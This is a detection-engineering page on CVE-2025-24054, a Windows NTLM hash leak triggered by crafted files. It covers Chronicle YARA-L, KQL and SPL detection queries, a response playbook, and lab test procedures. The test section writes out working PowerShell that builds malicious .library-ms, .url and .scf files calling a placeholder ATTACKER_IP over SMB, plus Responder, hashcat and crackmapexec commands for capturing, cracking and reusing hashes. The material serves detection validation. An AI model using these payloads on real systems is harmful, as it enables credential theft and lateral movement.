Detect Windows NTLM Credential Leak via File Download Interaction in Google Chronicle
CVE-2025-24054 is a Windows NTLM hash disclosure vulnerability triggered when a user interacts with a specially crafted file (e.g., .library-ms, .url, .lnk) that forces an outbound NTLM authentication attempt to an attacker-controlled server. Exploitation requires minimal user interaction — simply downloading or viewing a malicious file in Explorer can suffice. The leaked Net-NTLMv2 hash can be cracked offline or relayed for lateral movement. This vulnerability is actively exploited in the wild and listed in CISA's KEV catalog.
MITRE ATT&CK
YARA-L Detection Query
rule cve_2025_24054_ntlm_credential_leak {
meta:
author = "df00tech Detection Engineering"
description = "Detects CVE-2025-24054 NTLM credential leakage via crafted file interaction triggering outbound SMB authentication"
severity = "HIGH"
priority = "HIGH"
reference = "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054"
cve = "CVE-2025-24054"
events:
$file_event.metadata.event_type = "FILE_CREATION"
$file_event.target.file.full_path = /(?i)\.(library-ms|url|lnk|scf)$/
$file_event.principal.hostname = $hostname
$file_event.principal.process.file.full_path = /(?i)(explorer|svchost|chrome|msedge|firefox)\.exe$/
$network_event.metadata.event_type = "NETWORK_CONNECTION"
$network_event.target.port = 445
$network_event.principal.hostname = $hostname
$network_event.target.ip != "10.0.0.0/8"
$network_event.target.ip != "172.16.0.0/12"
$network_event.target.ip != "192.168.0.0/16"
match:
$hostname over 30s
condition:
$file_event and $network_event
}Chronicle YARA-L rule that correlates file creation events for NTLM-triggering file types with outbound SMB port 445 connections to non-private IPs within 30 seconds on the same host, detecting CVE-2025-24054 exploitation attempts.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate .lnk files on user desktops pointing to mapped SMB drives used daily
- Enterprise software deployment tools distributing .url shortcuts to internal resources
- Network attached storage accessed via Windows Explorer with library files
- IT helpdesk creating .library-ms files during system configuration
Other platforms for CVE-2025-24054
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1NTLM Credential Leak via Malicious .library-ms File
Expected signal: Sysmon Event ID 11 (FileCreate) for TestLib.library-ms; Sysmon Event ID 3 (NetworkConnect) from explorer.exe to ATTACKER_IP:445; Windows Security Event ID 4648 showing NTLM authentication attempt to ATTACKER_IP
- Test 2NTLM Credential Leak via Crafted .url Shortcut File
Expected signal: Sysmon Event ID 11 (FileCreate) for Important-Document.url on Desktop; Sysmon Event ID 3 (NetworkConnect) from explorer.exe to ATTACKER_IP:445; Windows Security Event ID 4625 if auth fails (Responder returns failure after capture)
- Test 3Net-NTLMv2 Hash Offline Cracking Simulation Post-Capture
Expected signal: On Windows DC (if auth attempted with cracked hash): Windows Security Event ID 4624 (successful logon) or 4625 (failed logon) with NTLM authentication from unexpected source IP; Kerberos fallback to NTLM is itself anomalous for modern AD environments
- Test 4NTLM Credential Leak via Crafted .scf File in Shared Folder
Expected signal: Sysmon Event ID 11 (FileCreate) for @trigger.scf; Sysmon Event ID 3 (NetworkConnect) from explorer.exe to ATTACKER_IP:445 triggered by shell icon resolution; Windows Security audit log showing NTLM authentication to external host
Response Playbook
Triage
- Identify the triggering file: retrieve the exact filename, path, and creation/download timestamp from endpoint telemetry. Determine whether it arrived via email attachment, web download, USB, or network share.
- Identify the destination IP for the outbound SMB connection. Perform reverse DNS lookup and threat intelligence enrichment (VirusTotal, Shodan, internal threat intel) to determine if the IP is attacker-controlled or a known C2.
- Check the Windows Security Event Log on the affected host for Event ID 4648 (explicit credential use) and 4625 (failed NTLM auth) within the same time window as the file interaction, targeting the remote IP on port 445.
- Assess the user account involved: is it a standard user, privileged account, or service account? Privileged account NTLM hash leakage significantly escalates severity and requires immediate escalation.
- Query Active Directory to determine if the user's credentials have been used from unusual locations since the incident timestamp, indicating the hash may have already been cracked and used for lateral movement.
Containment
- Isolate the affected endpoint via EDR (CrowdStrike Contain Host / Defender Isolation) to prevent further outbound NTLM authentication attempts and potential relay attacks while investigation proceeds.
- Force an immediate password reset for the affected user account and all accounts that share credentials with it. If a privileged or service account was involved, treat as a Tier-1 incident and reset all potentially exposed accounts.
- Block the attacker-controlled IP at the network perimeter firewall and proxy. Create a temporary outbound block rule for the specific IP range if attribution suggests a broader infrastructure cluster.
- Apply Microsoft's patch (March 2025 Patch Tuesday) to the affected host and audit all unpatched systems in the environment, prioritizing internet-facing and privileged-access workstations.
Evidence Collection
- Collect the malicious file (preserve hash, metadata, and content) using EDR file retrieval or DFIR tools. Submit to sandbox (Any.run, Joe Sandbox) to confirm it triggers NTLM authentication and identify any additional payloads or C2 callbacks.
- Export Windows Security Event Log (particularly Event IDs 4624, 4625, 4648, 4776) and Sysmon logs (Event IDs 3, 11) from the affected host for the 2-hour window surrounding the incident. Preserve in original EVTX format for chain-of-custody.
- Capture network traffic logs from the perimeter firewall and any inline NDR solutions for the period covering the outbound SMB connection. Document the full 5-tuple (src IP, dst IP, src port, dst port, protocol) and payload size.
- Collect memory dump from the affected system if lsass credential access is suspected beyond NTLM hash disclosure, using Magnet RAM Capture or similar forensic tool.
Escalation Criteria
- !Escalate immediately if the compromised account is a Domain Administrator, service account with broad permissions, or has access to sensitive systems (PAM, Vault, Active Directory). Net-NTLMv2 relay or pass-the-hash attacks may already be underway.
- !Escalate if the destination IP is associated with a known threat actor, APT campaign, or if multiple hosts in the environment have connected to the same attacker infrastructure within a short time window, indicating a targeted campaign or widespread phishing operation.
- !Escalate if evidence of successful NTLM relay is found — specifically, authentication events from the attacker IP to internal systems coinciding with the credential leak timeframe.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Windows Security Event Log: Event ID 4648 (logon with explicit credentials to remote host on port 445) and 4625 (failed logon from attacker IP) with NTLM authentication package - >
Sysmon Event ID 3 (Network Connection) showing explorer.exe or svchost.exe connecting to external IP on port 445 within seconds of Sysmon Event ID 11 (FileCreate) for .library-ms/.url/.lnk/.scf files - >
Browser download history or email attachment metadata showing origin of the malicious file - >
MFT ($MFT) entries for the malicious file showing creation timestamp, zone identifier (Zone.Identifier ADS) indicating internet download, and path - >
Network flow records showing outbound TCP 445 to external IP from the affected workstation's IP address
Tuning Guidance
Initial deployment should focus on external destination IPs (non-RFC1918) to minimize false positives from legitimate internal SMB share access. Tune the 30-second correlation window based on your environment's baseline file-to-network timing. If internal SMB relay scenarios are a concern, extend detection to internal IPs but add additional filters for known-good file servers and service accounts. Consider allowlisting specific IT management processes (SCCM, Intune, Endpoint Manager) that legitimately distribute .url and .lnk files. Monitor for .library-ms specifically as this extension has near-zero legitimate download use cases and can be tuned with high confidence. For high-value environments (admin workstations, PAW), consider alerting on ANY outbound port 445 from explorer.exe regardless of destination.
Hunting Queries
Threat hunt for .library-ms and .scf files (highest-risk NTLM trigger types) created by browser or email client processes — these extensions have virtually no legitimate use case when downloaded from the internet and are strong indicators of CVE-2025-24054 exploitation attempts
DeviceFileEvents
| where Timestamp > ago(30d)
| where FileName endswith ".library-ms" or FileName endswith ".scf"
| where InitiatingProcessFileName in~ ("chrome.exe", "msedge.exe", "firefox.exe", "outlook.exe", "winzip.exe", "7zfm.exe")
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp descindex=windows sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
| eval filename=lower(FileName)
| where match(filename, "\.(library-ms|scf)$")
| eval parent=lower(ParentImage)
| where match(parent, "(chrome|msedge|firefox|outlook|winzip|7z)\.exe$")
| table _time, ComputerName, FileName, Image, ParentImage, TargetFilename
| sort -_timeHunt for explorer.exe initiating multiple outbound SMB connections to non-RFC1918 addresses — this pattern is anomalous in most enterprise environments and strongly suggests repeated NTLM credential leakage, possibly from multiple crafted files or re-triggering of the same malicious file
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemotePort == 445
| where InitiatingProcessFileName in~ ("explorer.exe")
| where not(ipv4_is_private(RemoteIP))
| summarize ConnectionCount=count(), RemoteIPs=make_set(RemoteIP) by DeviceName, bin(Timestamp, 1h)
| where ConnectionCount >= 2
| order by ConnectionCount descindex=windows sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
| where DestinationPort=445 AND Image="*\\explorer.exe"
| where NOT (match(DestinationIp, "^10\.") OR match(DestinationIp, "^172\.(1[6-9]|2[0-9]|3[0-1])\.") OR match(DestinationIp, "^192\.168\."))
| stats count as smb_connections, values(DestinationIp) as remote_ips by ComputerName, span(_time, 1h)
| where smb_connections >= 2
| sort -smb_connectionsAtomic Red Team Tests
Creates a crafted .library-ms XML file that references an attacker-controlled UNC path, triggering automatic NTLM authentication when viewed in Windows Explorer. Simulates the primary exploitation vector for CVE-2025-24054.
Command
# Set up Responder on attack machine first to capture hashes
# On attacker: python3 Responder.py -I eth0 -v
# On victim (PowerShell as standard user):
$libraryContent = @'
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>TestLibrary</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1002</iconReference>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>\\ATTACKER_IP\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
'@
$maliciousFile = "$env:TEMP\\TestLib.library-ms"
$libraryContent | Set-Content -Path $maliciousFile -Encoding UTF8
# Open folder containing the file to trigger Explorer processing
Start-Process explorer.exe -ArgumentList $env:TEMP
Write-Host "[*] Malicious .library-ms created at $maliciousFile"
Write-Host "[*] Opening containing folder - NTLM auth should trigger to ATTACKER_IP"Cleanup
Remove-Item "$env:TEMP\TestLib.library-ms" -Force -ErrorAction SilentlyContinue
Stop-Process -Name explorer -Force -ErrorAction SilentlyContinue
Start-Process explorer.exeExpected Telemetry
Sysmon Event ID 11 (FileCreate) for TestLib.library-ms; Sysmon Event ID 3 (NetworkConnect) from explorer.exe to ATTACKER_IP:445; Windows Security Event ID 4648 showing NTLM authentication attempt to ATTACKER_IP
Expected Detection
KQL and SPL queries should fire within 30 seconds correlating the .library-ms file creation with the outbound SMB connection to the attacker IP
Creates a Windows Internet Shortcut (.url) file with a UNC path instead of an HTTP URL, triggering NTLM authentication when the shortcut is rendered or activated in Explorer. Lower-friction delivery vector commonly used in phishing campaigns.
Command
# On attacker: python3 Responder.py -I eth0 -v
# On victim (PowerShell):
$urlContent = @"
[InternetShortcut]
URL=file://ATTACKER_IP/share
IconFile=\\ATTACKER_IP\share\icon.ico
IconIndex=1
"@
$maliciousUrl = "$env:USERPROFILE\\Desktop\\Important-Document.url"
$urlContent | Set-Content -Path $maliciousUrl -Encoding ASCII
Write-Host "[*] Malicious .url file created at $maliciousUrl"
Write-Host "[*] File will trigger NTLM auth when Explorer renders the icon from the UNC path"
Write-Host "[*] Check Responder output on ATTACKER_IP for captured Net-NTLMv2 hash"Cleanup
Remove-Item "$env:USERPROFILE\Desktop\Important-Document.url" -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 11 (FileCreate) for Important-Document.url on Desktop; Sysmon Event ID 3 (NetworkConnect) from explorer.exe to ATTACKER_IP:445; Windows Security Event ID 4625 if auth fails (Responder returns failure after capture)
Expected Detection
Detection queries correlating .url file creation with outbound SMB connection should trigger; .url on Desktop with external IP destination is high-confidence indicator
Simulates the offline cracking phase following NTLM hash capture via CVE-2025-24054, using hashcat against a captured Net-NTLMv2 hash. Tests analyst ability to assess credential compromise severity and validates detection of subsequent authentication with cracked credentials.
Command
# Assumes Net-NTLMv2 hash already captured via Responder and saved to hash.txt
# Format: username::domain:challenge:response:client_challenge
# Create a sample hash file for lab testing (this is a known-plaintext test vector)
cat > /tmp/test_ntlmv2.hash << 'EOF'
testuser::TESTDOMAIN:1122334455667788:C5DAA77AF877874B359D50D62B8CE55F:010100000000000000B050CD167DD8017083B8CDE3B5E60100000000020008004E0054004C004D00010008005700530030003100040008004E0054004C004D0003001A0077007300300031002E006E0074006C006D002E006C006F00630061006C00050010006E0074006C006D002E006C006F00630061006C000000000000000000
EOF
# Run hashcat with rockyou wordlist (lab environment)
hashcat -m 5600 /tmp/test_ntlmv2.hash /usr/share/wordlists/rockyou.txt --force -O 2>/dev/null | tail -20
# If cracked, attempt authentication validation (replace with lab DC):
# crackmapexec smb LAB_DC_IP -u testuser -p 'crackedpassword' -d TESTDOMAINCleanup
rm -f /tmp/test_ntlmv2.hash /tmp/hashcat_results.txtExpected Telemetry
On Windows DC (if auth attempted with cracked hash): Windows Security Event ID 4624 (successful logon) or 4625 (failed logon) with NTLM authentication from unexpected source IP; Kerberos fallback to NTLM is itself anomalous for modern AD environments
Expected Detection
Authentication from unusual source IP or geographic location for the affected user account; NTLM authentication in environments that have disabled NTLM should alert immediately; behavioral analytics should flag off-hours or off-location logins
Creates a Shell Command File (.scf) with a UNC IconFile path that triggers NTLM authentication when a user opens the folder containing it in Windows Explorer. Demonstrates the shared-folder distribution vector for CVE-2025-24054.
Command
# On attacker: python3 Responder.py -I eth0 -v
# On victim (PowerShell):
$scfContent = @"
[Shell]
Command=2
IconFile=\\ATTACKER_IP\share\icon.ico
[Taskbar]
Command=ToggleDesktop
"@
$maliciousScf = "$env:TEMP\\@trigger.scf"
$scfContent | Set-Content -Path $maliciousScf -Encoding ASCII
# Opening the folder in Explorer triggers icon resolution and NTLM auth
Start-Process explorer.exe -ArgumentList $env:TEMP
Write-Host "[*] Malicious @trigger.scf created at $maliciousScf"
Write-Host "[*] Filename starts with @ to sort to top and increase likelihood of rendering"Cleanup
Remove-Item "$env:TEMP\@trigger.scf" -Force -ErrorAction SilentlyContinue
Stop-Process -Name explorer -Force -ErrorAction SilentlyContinue
Start-Process explorer.exeExpected Telemetry
Sysmon Event ID 11 (FileCreate) for @trigger.scf; Sysmon Event ID 3 (NetworkConnect) from explorer.exe to ATTACKER_IP:445 triggered by shell icon resolution; Windows Security audit log showing NTLM authentication to external host
Expected Detection
Detection rules for .scf file creation followed by outbound SMB connection should trigger; .scf files are extremely rare in modern environments and any download of this extension type warrants investigation